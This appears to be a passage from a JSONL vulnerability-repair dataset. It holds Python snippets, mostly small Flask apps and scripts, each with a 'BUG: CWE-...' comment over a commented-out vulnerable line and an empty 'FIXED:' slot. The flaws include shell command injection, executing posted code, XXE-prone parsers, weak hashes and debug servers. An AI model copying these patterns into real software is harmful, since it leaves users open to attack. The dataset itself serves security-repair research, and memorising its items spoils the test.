ident:\n msg(prog + ': not found')\n sts = 1\n\n sys.exit(sts)\n\nif __name__ == '__main__':\n main()\n"} {"language": "python", "text": "from flask import Flask, request\nimport subprocess\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef hello():\n return \"Hello, World with pipenv!\"\n\n@app.route('/execute', methods=['POST'])\ndef execute():\n with open('runtime.py', 'w') as f:\n \n# BUG: CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')\n# f.write(request.values.get('code'))\n# FIXED: \n\n \n\n return subprocess.check_output([\"python\", \"runtime.py\"])\n\napp.debug=True\n"} {"language": "python", "text": "from flask import Flask, jsonify, abort, request\nimport os\nimport sys\n\napp = Flask(__name__)\n\n@app.route('/')\ndef welcome():\n return 'Welcome to Python on Cloud Foundry!'\n\n@app.route('/health')\ndef health():\n return 'UP'\n\n@app.route('/v1/api', methods=['GET'])\ndef get():\n return jsonify({ 'message': 'hello world' })\n\nif __name__ == '__main__':\n \n# BUG: CWE-668: Exposure of Resource to Wrong Sphere\n# app.run(host='0.0.0.0', port=int(os.getenv('PORT', 5001)))\n# FIXED: \n\n \n\n"} {"language": "python", "text": "from os import mkdir\nfrom os.path import exists, dirname, join\nimport jinja2\nfrom textx import metamodel_from_file\n\nthis_folder = dirname(__file__)\n\n\nclass SimpleType(object):\n def __init__(self, parent, name):\n self.parent = parent\n self.name = name\n\n def __str__(self):\n return self.name\n\n\ndef get_entity_mm():\n \"\"\"\n Builds and returns a meta-model for Entity language.\n \"\"\"\n type_builtins = {\n 'integer': SimpleType(None, 'integer'),\n 'string': SimpleType(None, 'string')\n }\n entity_mm = metamodel_from_file(join(this_folder, 'entity.tx'),\n classes=[SimpleType],\n builtins=type_builtins)\n\n return entity_mm\n\n\ndef main(debug=False):\n\n # Instantiate Entity meta-model\n entity_mm = get_entity_mm()\n\n def javatype(s):\n \"\"\"\n Maps type names from SimpleType to Java.\n \"\"\"\n return {\n 'integer': 'int',\n 'string': 'String'\n }.get(s.name, s.name)\n\n # Create output folder\n srcgen_folder = join(this_folder, 'srcgen')\n if not exists(srcgen_folder):\n mkdir(srcgen_folder)\n\n # Initialize template engine.\n \n# BUG: CWE-116: Improper Encoding or Escaping of Output\n# jinja_env = jinja2.Environment( loader=jinja2.FileSystemLoader(this_folder), trim_blocks=True, lstrip_blocks=True)\n# FIXED: \n\n \n\n\n # Register filter for mapping Entity type names to Java type names.\n jinja_env.filters['javatype'] = javatype\n\n # Load Java template\n template = jinja_env.get_template('java.template')\n\n # Build Person model from person.ent file\n person_model = entity_mm.model_from_file(join(this_folder, 'person.ent'))\n\n # Generate Java code\n for entity in person_model.entities:\n # For each entity generate java file\n with open(join(srcgen_folder,\n \"%s.java\" % entity.name.capitalize()), 'w') as f:\n f.write(template.render(entity=entity))\n\n\nif __name__ == \"__main__\":\n main()\n"} {"language": "python", "text": "\"\"\"Do a minimal test of all the modules that aren't otherwise tested.\"\"\"\n\nfrom test import test_support\nimport sys\nimport unittest\n\n\nclass TestUntestedModules(unittest.TestCase):\n def test_at_least_import_untested_modules(self):\n with test_support.check_warnings(quiet=True):\n import CGIHTTPServer\n import audiodev\n import cgitb\n import code\n import compileall\n\n import distutils.bcppcompiler\n import distutils.ccompiler\n import distutils.cygwinccompiler\n import distutils.emxccompiler\n import distutils.filelist\n if sys.platform.startswith('win'):\n import distutils.msvccompiler\n import distutils.text_file\n import distutils.unixccompiler\n\n import distutils.command.bdist_dumb\n if sys.platform.startswith('win'):\n import distutils.command.bdist_msi\n import distutils.command.bdist\n import distutils.command.bdist_rpm\n import distutils.command.bdist_wininst\n import distutils.command.build_clib\n import distutils.command.build_ext\n import distutils.command.build\n import distutils.command.clean\n import distutils.command.config\n import distutils.command.install_data\n import distutils.command.install_egg_info\n import distutils.command.install_headers\n import distutils.command.install_lib\n import distutils.command.register\n import distutils.command.sdist\n import distutils.command.upload\n\n import encodings\n import formatter\n import getpass\n import htmlentitydefs\n import ihooks\n import imputil\n import keyword\n import linecache\n import mailcap\n import mimify\n import nntplib\n import nturl2path\n import opcode\n import os2emxpath\n import pdb\n import posixfile\n import pstats\n import py_compile\n import rexec\n import sched\n import sndhdr\n import statvfs\n import stringold\n import sunau\n import sunaudio\n import symbol\n import tabnanny\n import toaiff\n import token\n try:\n import tty # not available on Windows\n except ImportError:\n if test_support.verbose:\n print \"skipping tty\"\n\n # Can't test the \"user\" module -- if the user has a ~/.pythonrc.py, it\n # can screw up all sorts of things (esp. if it prints!).\n #import user\n import webbrowser\n \n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml\n# FIXED: \n\n \n\n\n\ndef test_main():\n test_support.run_unittest(TestUntestedModules)\n\nif __name__ == \"__main__\":\n test_main()\n"} {"language": "python", "text": "# -*- encoding: utf-8 -*-\nimport unittest\nfrom amara.lib import testsupport\nfrom amara.bindery import parse\nfrom amara import tree\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.dom import Node\n# FIXED: \n\n \n\nimport os\nimport tempfile\n\nMONTY_XML = \"\"\"\n What do you mean \"bleh\"\n But I was looking for argument\n\"\"\"\n\nSILLY_XML = \"\"\"\n A\n B\n\"\"\"\n\nSILLY_NS_XML = \"\"\"\n \n A\n B\n \n\"\"\"\n\nNS_XML = \"\"\"\n \n \n\"\"\"\n\nSANE_DEFAULT_XML = \"\"\"\n \n \n\"\"\"\n\nSANE_DEFAULT_XML_PREFIXES = {u'x': u'urn:bogus:a'}\n\n\nclass Test_sane_default_1(unittest.TestCase):\n \"\"\"Testing a sane document using default NS\"\"\"\n def test_specify_ns(self):\n \"\"\"Parse with string\"\"\"\n doc = parse(SANE_DEFAULT_XML, prefixes=SANE_DEFAULT_XML_PREFIXES)\n print doc.doc.xml_namespaces.copy()\n self.assertEqual(len(list(doc.xml_select(u'//x:monty'))), 1)\n return\n \n\nif __name__ == '__main__':\n testsupport.test_main()\n\n"} {"language": "python", "text": "from flask import Flask\n\napp = Flask(__name__)\n\n# Setting up the home\n@app.route('/')\n@app.route('/home')\ndef hello():\n return \"Hello world\"\n\n#! Dynamic URL\n\n# Getting the datas from url \n@app.route('/home/')\ndef hello_name(name):\n return \"Hi, \" + name\n\n# Getting multiple data from url\n@app.route('/home//')\ndef get_id(name,id):\n \n# BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n# return \"welcome \" + name + \" id : \" + str(id) #! you cant concantinate int and string , thats why we converted the int\n# FIXED: \n\n \n\n\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)"} {"language": "python", "text": "import logging\n\nimport flask\nimport os\nimport numpy as np\nfrom flask import Flask, jsonify, render_template, request\nfrom scipy import misc\nfrom sklearn.externals import joblib\n\napp = Flask(__name__)\n\n# create logger\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\n# create file handler which logs even debug messages\nfh = logging.FileHandler(str(__name__) + \".log\")\nfh.setLevel(logging.DEBUG)\n# create console handler with a higher log level\nch = logging.StreamHandler()\nch.setLevel(logging.INFO)\n# create formatter and add it to the handlers\nformatter = logging.Formatter(\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\")\nfh.setFormatter(formatter)\nch.setFormatter(formatter)\n# add the handlers to the logger\nlogger.addHandler(fh)\nlogger.addHandler(ch)\n\n\n@app.route(\"/\")\n@app.route(\"/index\")\ndef index():\n return flask.render_template(\"index.html\", label=False)\n\n\n@app.route(\"/status\", methods=[\"GET\"])\ndef get_status():\n return jsonify({\"version\": \"0.0.1\", \"status\": True})\n\n\n@app.route(\"/predict\", methods=[\"POST\"])\ndef make_prediction():\n if request.method == \"POST\":\n # get uploaded file if it exists\n logger.debug(request.files)\n\n f = request.files[\"file\"]\n f.save(f.filename) # save file to disk\n logger.info(f\"{f.filename} saved to disk\")\n\n # read file from disk\n with open(f.filename, \"r\") as infile:\n text_content = infile.read()\n logger.info(f\"Text Content from file read\")\n\n prediction = model.predict([text_content])\n logger.info(f\"prediction: {prediction}\")\n prediction = \"pos\" if prediction[0] == 1 else \"neg\"\n os.remove(f.filename)\n return flask.render_template(\"index.html\", label=prediction)\n\n\nif __name__ == \"__main__\":\n # load ml model from disk\n model = joblib.load(\"model.pkl\")\n # start api\n \n# BUG: CWE-668: Exposure of Resource to Wrong Sphere\n# app.run(host=\"0.0.0.0\", port=8000, debug=True)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.sax.xmlreader import AttributesNSImpl\n# FIXED: \n\n \n\n\nfrom ..constants import adjustForeignAttributes, unadjustForeignAttributes\n\nprefix_mapping = {}\nfor prefix, localName, namespace in adjustForeignAttributes.values():\n if prefix is not None:\n prefix_mapping[prefix] = namespace\n\n\ndef to_sax(walker, handler):\n \"\"\"Call SAX-like content handler based on treewalker walker\n\n :arg walker: the treewalker to use to walk the tree to convert it\n\n :arg handler: SAX handler to use\n\n \"\"\"\n handler.startDocument()\n for prefix, namespace in prefix_mapping.items():\n handler.startPrefixMapping(prefix, namespace)\n\n for token in walker:\n type = token[\"type\"]\n if type == \"Doctype\":\n continue\n elif type in (\"StartTag\", \"EmptyTag\"):\n attrs = AttributesNSImpl(token[\"data\"],\n unadjustForeignAttributes)\n handler.startElementNS((token[\"namespace\"], token[\"name\"]),\n token[\"name\"],\n attrs)\n if type == \"EmptyTag\":\n handler.endElementNS((token[\"namespace\"], token[\"name\"]),\n token[\"name\"])\n elif type == \"EndTag\":\n handler.endElementNS((token[\"namespace\"], token[\"name\"]),\n token[\"name\"])\n elif type in (\"Characters\", \"SpaceCharacters\"):\n handler.characters(token[\"data\"])\n elif type == \"Comment\":\n pass\n else:\n assert False, \"Unknown token type\"\n\n for prefix, namespace in prefix_mapping.items():\n handler.endPrefixMapping(prefix)\n handler.endDocument()\n"} {"language": "python", "text": "from flask import Flask, render_template\nimport driver as dr\n\napp = Flask(__name__)\n\n@app.route('/')\ndef home():\n\treturn render_template('index.html')\n\n@app.route('/compare_rank/

    /

    ')\ndef compare_rank(h1,h2):\n return dr.driver_function(h1,h2)\n\nif __name__ == '__main__':\n \n# BUG: CWE-489: Active Debug Code\n# app.run(debug=True)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "from flask import Flask, request, jsonify\nimport requests\n\napp = Flask(__name__)\n\ncreate_so_url = \"http://order-svc:3001/createSo\"\nupdate_inventory_url = \"http://product-svc:3002/allocateInventory\"\n\n@app.route('/v1/order/create', methods=['POST'])\ndef create_1():\n return create_so(rollback=False)\n \n@app.route('/v1/order/create2', methods=['POST'])\ndef create_2():\n return create_so(rollback=True)\n\ndef create_so(rollback=True):\n xid = request.headers.get(\"x-dbpack-xid\")\n\n so_items = [dict(\n product_sysno=1,\n product_name=\"apple iphone 13\",\n original_price=6799,\n cost_price=6799,\n deal_price=6799,\n quantity=2,\n )]\n\n so_master = [dict(\n buyer_user_sysno = 10001,\n seller_company_code = \"SC001\",\n receive_division_sysno = 110105,\n receive_address = \"beijing\",\n receive_zip = \"000001\",\n receive_contact = \"scott\",\n receive_contact_phone = \"18728828296\",\n stock_sysno = 1,\n payment_type = 1,\n so_amt = 6999 * 2,\n status = 10,\n appid = \"dk-order\",\n so_items = so_items,\n )]\n\n success = (jsonify(dict(success=True, message=\"success\")), 200)\n failed = (jsonify(dict(success=False, message=\"failed\")), 400)\n headers = {\n \"Content-Type\": \"application/json\",\n \"xid\": xid\n }\n\n so_req = dict(req=so_master)\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# resp1 = requests.post(create_so_url, headers=headers, json=so_req)\n# FIXED: \n\n \n\n if resp1.status_code == 400:\n return failed\n\n ivt_req = dict(req=[dict(product_sysno= 1, qty=2)])\n resp2 = requests.post(update_inventory_url, headers=headers, json=ivt_req)\n if resp2.status_code == 400:\n return failed\n\n if rollback:\n print(\"rollback\")\n return failed\n\n return success\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=3000)\n"} {"language": "python", "text": "#!/usr/bin/env python\n\n# Manipulate sys.path to be able to import rivescript from this local git\n# repository.\nimport os\nimport sys\nsys.path.append(os.path.join(os.path.dirname(__file__), \"..\", \"..\"))\n\nfrom flask import Flask, request, Response, jsonify\nimport json\nfrom rivescript import RiveScript\n\n# Set up the RiveScript bot. This loads the replies from `/eg/brain` of the\n# git repository.\nbot = RiveScript()\nbot.load_directory(\n os.path.join(os.path.dirname(__file__), \"..\", \"brain\")\n)\nbot.sort_replies()\n\napp = Flask(__name__)\n\n@app.route(\"/reply\", methods=[\"POST\"])\ndef reply():\n \"\"\"Fetch a reply from RiveScript.\n\n Parameters (JSON):\n * username\n * message\n * vars\n \"\"\"\n params = request.json\n if not params:\n return jsonify({\n \"status\": \"error\",\n \"error\": \"Request must be of the application/json type!\",\n })\n\n username = params.get(\"username\")\n message = params.get(\"message\")\n uservars = params.get(\"vars\", dict())\n\n # Make sure the required params are present.\n if username is None or message is None:\n return jsonify({\n \"status\": \"error\",\n \"error\": \"username and message are required keys\",\n })\n\n # Copy and user vars from the post into RiveScript.\n if type(uservars) is dict:\n for key, value in uservars.items():\n bot.set_uservar(username, key, value)\n\n # Get a reply from the bot.\n reply = bot.reply(username, message)\n\n # Get all the user's vars back out of the bot to include in the response.\n uservars = bot.get_uservars(username)\n\n # Send the response.\n return jsonify({\n \"status\": \"ok\",\n \"reply\": reply,\n \"vars\": uservars,\n })\n\n@app.route(\"/\")\n@app.route(\"/\")\ndef index(path=None):\n \"\"\"On all other routes, just return an example `curl` command.\"\"\"\n payload = {\n \"username\": \"soandso\",\n \"message\": \"Hello bot\",\n \"vars\": {\n \"name\": \"Soandso\",\n }\n }\n return Response(r\"\"\"Usage: curl -i \\\n -H \"Content-Type: application/json\" \\\n -X POST -d '{}' \\\n http://localhost:5000/reply\"\"\".format(json.dumps(payload)),\n mimetype=\"text/plain\")\n\nif __name__ == \"__main__\":\n \n# BUG: CWE-489: Active Debug Code\n# app.run(host='0.0.0.0', debug=True)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "#!/usr/bin/env python3\n'''\n\ua9b1\ua9ae is an open source programming language, an interpreter to be precise, where you can write Python code using Javanese character.\nhttps://github.com/lantip/sawa/docs/\nLicensed under ABRMS License\nCopyright (c) 2021 \ua9b1\ua9ae \n'''\nimport sys\nimport os\nimport argparse\nimport sawa.main as mn\nfrom subprocess import call\n\ndef error(_error, message):\n \"\"\" Print errors to stdout\n \"\"\"\n print(\"[-] {}: {}\".format(_error, message))\n sys.exit(0)\n\ndef main():\n parser = argparse.ArgumentParser(description='\ua992\ua9a9\ua9c0\ua9a7\ua982\ua9a5\ua9b3\ua9b6\ua9a7\ua9ba\ua9b4\ua9a4\ua995\ua9b6')\n parser.add_argument('name', type=str, help='filename with extension .\ua9b1\ua9ae')\n args = parser.parse_args()\n\n if not '\ua9b1\ua9ae' in args.name:\n error(\"Error\",\n \"Please use \ua9b1\ua9ae as extension.\")\n file_name = args.name.split('.')\n if os.path.isfile(file_name[0]+'.py'):\n os.remove(file_name[0]+'.py') \n mn.main(args.name)\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# call('python3 %s.py' % (file_name[0]), shell=True)\n# FIXED: \n\n \n\n os.remove(file_name[0]+'.py')\n\ndef versionCompare(v1, v2):\n arr1 = v1.split(\".\")\n arr2 = v2.split(\".\")\n n = len(arr1)\n m = len(arr2)\n arr1 = [int(i) for i in arr1]\n arr2 = [int(i) for i in arr2]\n \n if n>m:\n for i in range(m, n):\n arr2.append(0)\n elif m>n:\n for i in range(n, m):\n arr1.append(0)\n \n for i in range(len(arr1)):\n if arr1[i]>arr2[i]:\n return 1\n elif arr2[i]>arr1[i]:\n return -1\n return 0\n\ndef run_as_command():\n version = \".\".join(str(v) for v in sys.version_info[:2])\n ans = versionCompare('3.6', version)\n if ans > 0:\n print(\"[-] \ua9b1\ua9ae mbutuhak\u00e9 Python v\u00e8rsi 3.6 munggah.\")\n sys.exit(0)\n\n main()\n\n\nif __name__ == '__main__':\n main()\n"} {"language": "python", "text": "\"\"\"\nA provided CSRF implementation which puts CSRF data in a session.\n\nThis can be used fairly comfortably with many `request.session` type\nobjects, including the Werkzeug/Flask session store, Django sessions, and\npotentially other similar objects which use a dict-like API for storing\nsession keys.\n\nThe basic concept is a randomly generated value is stored in the user's\nsession, and an hmac-sha1 of it (along with an optional expiration time,\nfor extra security) is used as the value of the csrf_token. If this token\nvalidates with the hmac of the random value + expiration time, and the\nexpiration time is not passed, the CSRF validation will pass.\n\"\"\"\nfrom __future__ import unicode_literals\n\nimport hmac\nimport os\n\nfrom hashlib import sha1\nfrom datetime import datetime, timedelta\n\nfrom ..validators import ValidationError\nfrom .core import CSRF\n\n__all__ = ('SessionCSRF', )\n\n\nclass SessionCSRF(CSRF):\n TIME_FORMAT = '%Y%m%d%H%M%S'\n\n def setup_form(self, form):\n self.form_meta = form.meta\n return super(SessionCSRF, self).setup_form(form)\n\n def generate_csrf_token(self, csrf_token_field):\n meta = self.form_meta\n if meta.csrf_secret is None:\n raise Exception('must set `csrf_secret` on class Meta for SessionCSRF to work')\n if meta.csrf_context is None:\n raise TypeError('Must provide a session-like object as csrf context')\n\n session = self.session\n\n if 'csrf' not in session:\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# session['csrf'] = sha1(os.urandom(64)).hexdigest()\n# FIXED: \n\n \n\n\n if self.time_limit:\n expires = (self.now() + self.time_limit).strftime(self.TIME_FORMAT)\n csrf_build = '%s%s' % (session['csrf'], expires)\n else:\n expires = ''\n csrf_build = session['csrf']\n\n hmac_csrf = hmac.new(meta.csrf_secret, csrf_build.encode('utf8'), digestmod=sha1)\n return '%s##%s' % (expires, hmac_csrf.hexdigest())\n\n def validate_csrf_token(self, form, field):\n meta = self.form_meta\n if not field.data or '##' not in field.data:\n raise ValidationError(field.gettext('CSRF token missing'))\n\n expires, hmac_csrf = field.data.split('##', 1)\n\n check_val = (self.session['csrf'] + expires).encode('utf8')\n\n hmac_compare = hmac.new(meta.csrf_secret, check_val, digestmod=sha1)\n if hmac_compare.hexdigest() != hmac_csrf:\n raise ValidationError(field.gettext('CSRF failed'))\n\n if self.time_limit:\n now_formatted = self.now().strftime(self.TIME_FORMAT)\n if now_formatted > expires:\n raise ValidationError(field.gettext('CSRF token expired'))\n\n def now(self):\n \"\"\"\n Get the current time. Used for test mocking/overriding mainly.\n \"\"\"\n return datetime.now()\n\n @property\n def time_limit(self):\n return getattr(self.form_meta, 'csrf_time_limit', timedelta(minutes=30))\n\n @property\n def session(self):\n return getattr(self.form_meta.csrf_context, 'session', self.form_meta.csrf_context)\n"} {"language": "python", "text": "\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.dom.minidom\n# FIXED: \n\n \n\n\ndocument = \"\"\"\\\n\nDemo slideshow\nSlide title\nThis is a demo\nOf a program for processing slides\n\n\nAnother demo slide\nIt is important\nTo have more than\none slide\n\n\n\"\"\"\n\ndom = xml.dom.minidom.parseString(document)\n\ndef getText(nodelist):\n rc = \"\"\n for node in nodelist:\n if node.nodeType == node.TEXT_NODE:\n rc = rc + node.data\n return rc\n\ndef handleSlideshow(slideshow):\n print \"\"\n handleSlideshowTitle(slideshow.getElementsByTagName(\"title\")[0])\n slides = slideshow.getElementsByTagName(\"slide\")\n handleToc(slides)\n handleSlides(slides)\n print \"\"\n\ndef handleSlides(slides):\n for slide in slides:\n handleSlide(slide)\n\ndef handleSlide(slide):\n handleSlideTitle(slide.getElementsByTagName(\"title\")[0])\n handlePoints(slide.getElementsByTagName(\"point\"))\n\ndef handleSlideshowTitle(title):\n print \"%s\" % getText(title.childNodes)\n\ndef handleSlideTitle(title):\n print \"

    %s

    \" % getText(title.childNodes)\n\ndef handlePoints(points):\n print \"
      \"\n for point in points:\n handlePoint(point)\n print \"
    \"\n\ndef handlePoint(point):\n print \"
  • %s
  • \" % getText(point.childNodes)\n\ndef handleToc(slides):\n for slide in slides:\n title = slide.getElementsByTagName(\"title\")[0]\n print \"

    %s

    \" % getText(title.childNodes)\n\nhandleSlideshow(dom)\n"} {"language": "python", "text": "#!/usr/bin/env python\n# This file is meant as an executable script for running applets.\n# BuildApplet will use it as the main executable in the .app bundle if\n# we are not running in a framework build.\n\nfrom warnings import warnpy3k\nwarnpy3k(\"In 3.x, the appletrunner module is removed.\", stacklevel=2)\n\nimport os\nimport sys\nfor name in [\"__rawmain__.py\", \"__rawmain__.pyc\", \"__main__.py\", \"__main__.pyc\"]:\n realmain = os.path.join(os.path.dirname(os.path.dirname(sys.argv[0])),\n \"Resources\", name)\n if os.path.exists(realmain):\n break\nelse:\n sys.stderr.write(\"%s: cannot find applet main program\\n\" % sys.argv[0])\n sys.exit(1)\nsys.argv.insert(1, realmain)\n\n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# os.execve(sys.executable, sys.argv, os.environ)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "# File updatedb.py: update Person object on database\n\nimport shelve\n\n# BUG: CWE-502: Deserialization of Untrusted Data\n# db = shelve.open('persondb') # Reopen shelve with same filename\n# FIXED: \n\n \n\n\nfor key in sorted(db): # Iterate to display database objects\n print(key, '\\t=>', db[key]) # Prints with custom format\n\nsue = db['Sue Jones'] # Index by key to fetch\nsue.giveRaise(.10) # Update in memory using class method\ndb['Sue Jones'] = sue # Assign to key to update in shelve\ndb.close() # Close after making changes\n"} {"language": "python", "text": "from flask import Flask,render_template\nfrom flask_sqlalchemy import SQLAlchemy\ndata =['Name','Branch','Physics','Chemistry','Maths','Language','Computer']\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI']= 'sqlite:///marksheet.db'\n\ndb =SQLAlchemy(app)\n\nclass Student(db.Model):\n id = db.Column(db.Integer,primary_key=True)\n Name = db.Column(db.String(32), nullable=False)\n Branch = db.Column(db.String(32), nullable=False, default= 'N/A')\n Physics = db.Column(db.Float,nullable =False, default = 0)\n Chemistry = db.Column(db.Float, nullable= False, default = 0)\n Maths = db.Column(db.Float, nullable= False, default = 0)\n Language = db.Column(db.Float, nullable= False, default = 0)\n Computer = db.Column(db.Float, nullable= False, default = 0)\n\n@app.route('/')\n@app.route('/home', methods=['GET','POST'])\ndef home():\n return render_template(\"index.html\", details=data)\n # return \"This works\"\n \n\nif __name__ == \"__main__\":\n\n \n# BUG: CWE-489: Active Debug Code\n# app.run(debug=True)\n# FIXED: \n\n \n"} {"language": "python", "text": "\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.dom.minidom import Document\n# FIXED: \n\n \n\n\nmainNode = Document()\n\ncars = mainNode.createElement(\"cars\")\nmainNode.appendChild(cars)\n\ncar = mainNode.createElement(\"car\")\ncars.appendChild(car)\n\nID = mainNode.createElement(\"id\")\ncar.appendChild(ID)\ninfo = mainNode.createTextNode(\"C1\")\nID.appendChild(info)\n\nmake = mainNode.createElement(\"make\")\ncar.appendChild(make)\ninfo = mainNode.createTextNode(\"A\")\nmake.appendChild(info)\n\nmodel = mainNode.createElement(\"id\")\ncar.appendChild(model)\ninfo = mainNode.createTextNode(\"B\")\nmodel.appendChild(info)\n\nyear = mainNode.createElement(\"year\")\ncar.appendChild(year)\ninfo = mainNode.createTextNode(\"2000\")\nyear.appendChild(info)\n\nxmlFile = open(\"car.xml\", \"w\")\nxmlFile.write(mainNode.toprettyxml())\nxmlFile.close()\n"} {"language": "python", "text": "\n# Copyright (c) 2001-2004 Twisted Matrix Laboratories.\n# See LICENSE for details.\n\n\n\"\"\"\n\nUtility functions for authorization.\n\nThese are currently for challenge-response shared secret authentication.\n\nMaintainer: U{Glyph Lefkowitz}\n\nStability: semi-stable\n\n\"\"\"\n\n# System Imports\nfrom hashlib import md5\nimport random\n\nfrom twisted.cred.error import Unauthorized\n\ndef respond(challenge, password):\n \"\"\"Respond to a challenge.\n This is useful for challenge/response authentication.\n \"\"\"\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# m = md5()\n# FIXED: \n\n \n\n m.update(password)\n hashedPassword = m.digest()\n m = md5()\n m.update(hashedPassword)\n m.update(challenge)\n doubleHashedPassword = m.digest()\n return doubleHashedPassword\n\ndef challenge():\n \"\"\"I return some random data.\n \"\"\"\n crap = ''\n for x in range(random.randrange(15,25)):\n crap = crap + chr(random.randint(65,90))\n crap = md5(crap).digest()\n return crap\n"} {"language": "python", "text": "import urllib\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.ElementTree as ET\n# FIXED: \n\n \n\n\nTWITTER_URL = 'http://api.twitter.com/1/statuses/friends/ACCT.xml'\n\nwhile True:\n print ''\n acct = raw_input('Enter Twitter Account:')\n if ( len(acct) < 1 ) : break\n url = TWITTER_URL.replace('ACCT', acct)\n print 'Retrieving', url\n document = urllib.urlopen (url).read()\n print 'Retrieved', len(document), 'characters.' \n tree = ET.fromstring(document)\n count = 0\n for user in tree.findall('user'):\n count = count + 1\n if count > 4 : break\n print user.find('screen_name').text\n status = user.find('status')\n if status is not None : \n txt = status.find('text').text\n print ' ',txt[:50]\n"} {"language": "python", "text": "#!/usr/bin/env python\n# This file is meant as an executable script for running applets.\n# BuildApplet will use it as the main executable in the .app bundle if\n# we are not running in a framework build.\n\nimport os\nimport sys\nfor name in [\"__rawmain__.py\", \"__rawmain__.pyc\", \"__main__.py\", \"__main__.pyc\"]:\n realmain = os.path.join(os.path.dirname(os.path.dirname(sys.argv[0])),\n \"Resources\", name)\n if os.path.exists(realmain):\n break\nelse:\n sys.stderr.write(\"%s: cannot find applet main program\\n\" % sys.argv[0])\n sys.exit(1)\nsys.argv.insert(1, realmain)\n\n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# os.execve(sys.executable, sys.argv, os.environ)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "import sys, os, datetime, re\n\nlauncherVersion = sys.argv[1]\nprogramToLaunch = sys.argv[2]\n\n# Change the cwd to the folder that contains the program.\nos.chdir(os.path.dirname(programToLaunch))\n\nif 'pygame_games/' in programToLaunch:\n print('(On Raspberry Pis, close this window to shut down the game.')\n\n# Technically, any Ctrl-C should be caught here, making catching it\n# unnecessary for the .py files unless they aren't run from this launcher.\ntry:\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# exitCode = os.system(sys.executable + ' ' + programToLaunch)\n# FIXED: \n\n \n\nexcept (KeyboardInterrupt, EOFError):\n exitCode = 0 # Do nothing if Ctrl-C was pressed to exit the game.\n\nif exitCode != 0 and sys.platform != 'darwin': # NOTE: We are currently disabling this on macOS because it keeps reporting keyboard interrupts, etc.\n\n # Get the program's __version__ variable:\n with open(programToLaunch) as fo:\n content = fo.read()\n mo = re.search(r'__version__ = (\\d)+', content)\n if mo is None:\n programVersion = 'N/A'\n else:\n programVersion = mo.group(1)\n\n sys.stderr.write('''\n\n* * * * * CRASH DETECTED! * * * * *\n\nYou can help fix this by reporting it. Go to this website:\n https://github.com/asweigart/pythonstdiogames/issues\n\n...and click the \"New Issue\" button. (You need a GitHub account to do this.\nIt is free to sign up. Or, you can email me at al@inventwithpython.com)\n\nNOTE!!! If the error is KeyboardInterrupt, EOFError, or ModuleNotFoundError,\nyou don't need to report it. Just disregard this message.\n\nIn your issue report, copy/paste the above \"Traceback\" along with this text:\n Program: {}\n Program Version: {}\n Launcher Version: {}\n Platform: {}\n Python Version: {}\n Executable: {}\n Timestamp: {}\n\n'''.format(programToLaunch, programVersion, launcherVersion, sys.platform, sys.version, sys.executable, datetime.datetime.now()))\n sys.exit(1) # Exit code of 1 signals to __terminalopener__.py to leave it open even if we were running a Pygame game."} {"language": "python", "text": "# This is a comment\n\n\"\"\"This is a module doc string.\n\nBlah.\n\"\"\"\n\nimport os, sys\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.sax\n# FIXED: \n\n \n\nimport time as timelib\nfrom shutil import rmtree, copytree\nfrom shutil import copy2 as copy\n\ndef func_no_args():\n \"func_no_args doc\"\n pass\n\ndef func_one_arg(a):\n import string\n pass\n\ndef func_default_arg(a=None):\n pass\n\ndef func_args(*args):\n pass\n\ndef func_complex_args(a, b=None, c=\"foo\", *args, **kwargs):\n pass\n\nclass ClassNoBase:\n \"class docstring\"\n def __init__(self):\n \"constructor docstring\"\n pass\n def plain_method(self, a):\n import math\n def _protected_method(self, a):\n pass\n def __private_method(self, a):\n pass\n\nclass ClassOneBase(ClassNoBase):\n \"class docstring\"\n def __init__(self):\n \"constructor docstring\"\n pass\n def plain_method_2(self, a):\n pass\n def _protected_method(self, a):\n pass\n def __private_method(self, a):\n pass\n\n\n"} {"language": "python", "text": "# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport json\nimport os\nimport requests\n\nfrom dotenv import load_dotenv\nfrom flask import Flask, render_template, request\n\nfrom ibm_watson import NaturalLanguageClassifierV1\n\nDEBUG = True\napp = Flask(__name__)\n\nload_dotenv(os.path.join(os.path.dirname(__file__), \".env\"))\nclassifier_id = os.environ.get(\"CLASSIFIER_ID\")\n\nNLC_SERVICE = NaturalLanguageClassifierV1()\n\n\n@app.route('/')\ndef default():\n classifier_info = \"cannot detect classifier\"\n if NLC_SERVICE:\n classifier_info = (\"classifier 